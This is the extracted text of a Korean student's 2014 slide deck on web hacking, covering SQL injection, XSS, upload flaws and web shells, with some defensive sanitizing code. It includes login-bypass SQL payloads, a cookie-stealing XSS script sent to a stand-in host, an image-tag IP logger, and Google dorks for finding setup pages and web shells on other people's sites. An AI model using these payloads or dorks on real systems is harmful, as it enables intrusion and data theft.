97
한국디지털미디어고등학교, T eamPur e, JT JSOFT 장태 WEB Hacking

장태진 - 웹해킹의 모든 것 (2014Y10M30D)

Embed Size (px)

Citation preview

Page 1: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

한국디지털미디어고등학교, TeamPure, JT JSOFT 장태진

WEB Hacking

Page 2: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

해킹의 종류

웹해킹

네트워크 해킹

시스템(OS)해킹

Page 3: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

웹해킹 기법

SQL INJECTION

HTML INJECTION

HEADER INJECTION

Cross Site Scripting

Page 4: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

웹해킹 기법

업로드 취약점

다운로드 취약점

Page 5: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

INJECTION

나는 사람입니다.

나는 잘생긴 사람입니다.

Page 6: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

INJECTION

Page 7: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

INJECTION

Page 8: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

INJECTION

Page 9: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

SQL INJECTION

Page 10: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

데이터베이스데이터의 집합

테이블

필드

Page 11: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

1학년

3반 6반 9반

양식( 번호, 이름, 사진 )

Page 12: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

Select문법 : Select 필드명 또는 별(*) from 테이블명 where 조건

예문 : Select user_id from accounts where user_name='장태진';

<?$connect = mysql_connect(“localhost”, “root”, “rootpassword”);mysql_select_db(“dimigo”);

$sql = “Select user_id from accounts where user_name=\”장태진\””;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);

ECHO $row[user_id];?>

test

Page 13: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

SQL INJECTION<?

$connect = mysql_connect(“localhost”, “root”, “rootpassword”);mysql_select_db(“dimigo”);

$id = $_GET ['id'];$pw = $_GET ['pw'];

$sql = “Select jumin from accounts where id='$id' and pw='$pw';”;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);

ECHO $row[jumin];?>

ID = testidPW = testpw

http://example.co.kr/test.php?id=testid&pw=testpw

출력 : 980414-1******

Page 14: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

SQL INJECTION<?

$connect = mysql_connect(“localhost”, “root”, “rootpassword”);mysql_select_db(“dimigo”);

$id = $_GET ['id'];$pw = $_GET ['pw'];

$sql = “Select jumin from accounts where id='$id' and pw='$pw';”;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);

ECHO $row[jumin];?>

ID = adminPW = admin

http://example.co.kr/test.php?id=admin&pw=admin

출력 : [출력값 없음]

Page 15: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

SQL INJECTION<?

$connect = mysql_connect(“localhost”, “root”, “rootpassword”);mysql_select_db(“dimigo”);

$id = $_GET ['id'];$pw = $_GET ['pw'];

$sql = “Select jumin from accounts where id='$id' and pw='$pw';”;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);

ECHO $row[jumin];?>

ID = admin' --PW = 아무거나

Page 16: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

SQL INJECTION

Select jumin from accounts where id='$id' and pw='$pw';

Select jumin from accounts where id='admin' -- ' and pw = 'admin';

Select jumin from accounts where id='admin' -- ' and pw = 'admin';

Select jumin from accounts where id='admin';

Page 17: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

SQL INJECTION기본 패턴

주민번호 출력 주민번호 출력 SQL SQL 질의문질의문Select jumin from accounts where id='$id' and pw='$pw';

$id$id값값

' or 1 = 1 –-

' or '1' = '1

아이디' –-

1' or '1' like '1' –-

Page 18: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

SQL Injection SQL Injection 공격 패턴의 특징공격 패턴의 특징

1. 뛰어쓰기가 들어간다.

2. 특수문자 따옴표 “ ' ” 가 들어간다.

Page 19: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

따옴표따옴표, , 뛰어쓰기 막기뛰어쓰기 막기

$user_id = “admin' or 1=1 --”; // 공격우회패턴

$sql = “Select jumin from accounts where user_id='$user_id';”;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);

ECHO $row[jumin];

Page 20: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

따옴표따옴표, , 뛰어쓰기 막기뛰어쓰기 막기

$user_id = “admin' or 1=1 --”; // 공격우회패턴

$user_id = str_replace(“'”, “&#”.ord(“'”).”;”, $user_id);$user_id = str_replace(“ “, “&nbsp;”, $user_id);

/* admin&#39;&#nbsp;or&#nbsp;1=1&#nbsp;-- */$sql = “Select jumin from accounts where user_id='$user_id';”;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);

ECHO $row[jumin];

Page 21: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

방금 전 소스로도 불안하다면방금 전 소스로도 불안하다면??

function replace_ascii($str) {

$text=$str; $text2=""; for($i=0;$i<str len($text);$i+ + ) {

if(33<=ord($text[$i])&&ord($text[$i])<=47) $text2.="&#".ord($text[$i]).";"; else if(58<=ord($text[$i])&&ord($text[$i])<=64) $text2.="&#".ord($text[$i]).";"; else if(91<=ord($text[$i])&&ord($text[$i])<=96) $text2.="&#".ord($text[$i]).";"; else if(123<=ord($text[$i])&&ord($text[$i])<=126)

$text2.="&#".ord($text[$i]).";"; else $text2.=$text[$i];

} $str=$text2;

$str=str_replace(" ","&nbsp;",$str); return $str; }

A-Z, a-z, 0-9를 제외하고 아스키코드가 33이상, 126이하인 모든 문자 아스키코드로!

Page 22: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML InjectionHTML Injection

Cross Site Scripting

→ CSS

→ XSS

Page 23: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML INJECT IONHTML INJECT ION

<html>

<head></head>

<body>

<div>나는 사람입니다.</div>

</body>

</html>

Page 24: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML INJECT IONHTML INJECT ION

<html>

<head></head>

<body>

<div>나는 잘생긴사람입니다.</div>

</body>

</html>

Page 25: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML INJECT IONHTML INJECT ION

<scr ipt>

var aaa = “<?=$_GET ['q'];?>”;

alert(aaa);

</scr ipt>

Page 26: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML INJECT IONHTML INJECT ION

<script> var aaa = “”; location.href =”http://www.jtjsoft.com”; alert(aaa);</scr ipt>

Page 27: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML INJECT IONHTML INJECT ION

Page 28: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML INJECT IONHTML INJECT ION

쿠키/세션 탈취

페이지 이동

알림창

Page 29: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML INJECT IONHTML INJECT ION

JS에 도움

페이지 변조

훼이크

Page 30: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML INJECT IONHTML INJECT ION

JS에서 하지 못하는 부분

정보 저장

훼이크

Page 31: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML INJECT ION - JSHTML INJECT ION - JS

document.cookieSession 아이디아이디패스워드주민번호이름집 주소

Page 32: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML INJECT ION - JSHTML INJECT ION - JS

location.href = “”URL이동 - 개인정보공개 URL - 로그아웃 URL - 블로그 폐쇠 URL - 피싱사이트 (복제사이트)URL - 카페탈퇴 URL - 게시물 추천버튼 URL

Page 33: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML INJECT ION - JSHTML INJECT ION - JS

alert(“메세지”);

피싱사이트로 이동할때 도움

사용자를 불안하게 함

Page 34: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML INJECT ION - HTMLHTML INJECT ION - HTML

Javascr ipt 에 도움<<Javascript 필터링 우회>>

- <pre></pre> - <textarea></textarea> - <input value=””>

Page 35: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML INJECT ION - HTMLHTML INJECT ION - HTML

사이트 변조< 사례 >

- 네이트온 http://<script>- 웹하드 금칙어 우회

Page 36: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML INJECT ION - HTMLHTML INJECT ION - HTML

훼이크 - 정보숨기기

- 가짜 정보 보여주기

- 가짜 입력창 만들기

Page 37: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML INJECT ION - PHPHTML INJECT ION - PHP

Javascr ipt 가 못하는 일 < 사례 >

- IMG Header, 정보저장

Page 38: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

HTML INJECT ION - PHPHTML INJECT ION - PHP

서버에 정보 저장

Page 39: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

XSS XSS 활용 활용 - 1- 1<div>

<pre>게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물

내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용</pre></div>

Page 40: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

XSS XSS 활용 활용 - 1- 1

<div><pre>

</pre><script>Var cookie = document.cookie;location.href=(“http://hacking.com/save.php?cookie=” + cookie);

</scr ipt><pre>

</pre></div>

Page 41: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

XSS XSS 활용 활용 - 1- 1

사용자 이름사용자 아이디사용자 아이피사용자 주민번호

Page 42: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

XSS XSS 활용 활용 - 1- 1

User Hacker

Page 43: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

XSSXSS활용 활용 -2 … PHP-2 … PHP

<?// e.f. 127.0.0.1$ip = $_SERVER['REMOT E_ADDR'];

$f = fopen(“./ipip.txt”, “a”); // ipip.txt 생성/글쓰기

fwrite($f, $ip.”\n”); // e.f. 127.0.0.1\n

fclose($f); // 파일 닫기?>

http://hacking.kr/ipget.php

Page 44: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

XSSXSS활용 활용 -2 … HTML-2 … HTML

<div><pre>

</pre>

<img src=”http://hacking.kr/ipget.php”/><pre>

</pre></div>

Page 45: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

XSSXSS활용 활용 -2-2

Page 46: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

XSSXSS활용 활용 -2-2

Ipip.txt127.0.12.1127.123.2.1127.0.220.12127.23.50.11127.103.0.14127.0.60.15127.20.0.134127.10.50.177127.1.0.12127.0.40.133127.110.0.13127.0.30.112127.140.0.19127.0.2.187127.0.120.10127.120.230.144127.0.10.132127.20.20.13

Page 47: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 48: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 49: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 50: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

XSSXSS활용 활용 -3 … PHP-3 … PHP

<?Header(“Content-T ype: image/png”);$ip = $_SERVER['REMOT E_ADDR'];

$f = fopen(“./ipip.txt”, “a”); // ipip.txt 생성/글쓰기

fwrite($f, $ip.”\n”); // e.f. 127.0.0.1\nfclose($f); // 파일 닫기

$f = fopen(“./a.png”, “r”); // a.png 생성/글쓰기ECHO fread($f, filesize(“./a.png”)); // 이미지

fclose($f); // 파일 닫기?>

http://hacking.kr/ipget.php

Page 51: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 52: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

XSSXSS활용 활용 -3-3

Ipip.txt127.0.12.1127.123.2.1127.0.220.12127.23.50.11127.103.0.14127.0.60.15127.20.0.134127.10.50.177127.1.0.12127.0.40.133127.110.0.13127.0.30.112127.140.0.19127.0.2.187127.0.120.10127.120.230.144127.0.10.132127.20.20.13

Page 53: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

IP만 가져와서 뭐하냐고?

● 좋은예 :

자신의 블로그/카페의 방문자 확인

● 나쁜예 :

특정한 사람을 도발하는 글을 쓴 후 타겟들이 게시물을 보았을 때 아이피를 저장

→ D-DoS

→ 포트스캔 후 취약한 포트들 분석

→ 웹해킹

→ 시스템해킹

Page 54: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

업로드 취약점

Page 55: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

웹 쉘

Page 56: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

웹 쉘

Page 57: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

r57 shell

Page 58: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

C99 shell

Page 59: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

AJAX Webshell

Page 60: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

Wso

0

Page 61: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

ITSEC

Page 62: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

PHPSpy

Page 63: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

PHPshell

Page 64: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 65: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 66: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

평문소스 → 바이러스로 탐지하여 백신에서 삭제시킴

Page 67: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

암호화된 소스 → 백신/웹쉘탐지 우회

Page 68: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

올릴 수 있는 곳 올릴 수 있는 곳

이미지 업로드 부분

파일 업로드 부분

SQL INJECT ION 부분

Page 69: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

구글링으로얻어먹기

Page 70: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 71: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 72: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 73: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 74: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

./scr ipts/setup.php

Page 75: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

Google SearchGoogle Search

site:*/scr ipts/setup.php

Page 76: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 77: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

1 행 2 행 3 행 4 행

0

2

4

6

8

10

12

1 열

2 열

3 열

Page 78: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 79: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 80: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 81: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 82: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

망할!구글링하여 나온 50개의 사이트 모두 안되요!

Page 83: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

기냥 업로드된 웹쉘을 찾자!

site:*/*/c99.php

site:*/*/webshell.php

site:*/*/r57shell.php

Page 84: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 85: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 86: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 87: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 88: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 89: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 90: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 91: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)
Page 92: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

이것들을 이용하여 할 수 있는 일

Page 93: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

끝 날 시 간 ㅜ

Page 94: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

죄송합니다. 고마워요!

Page 95: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

선물을 하나 준비했어요.

Page 96: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

저를 깔 수 있는 시간입니다.

Page 97: 장태진 - 웹해킹의 모든 것 (2014Y10M30D)

QNA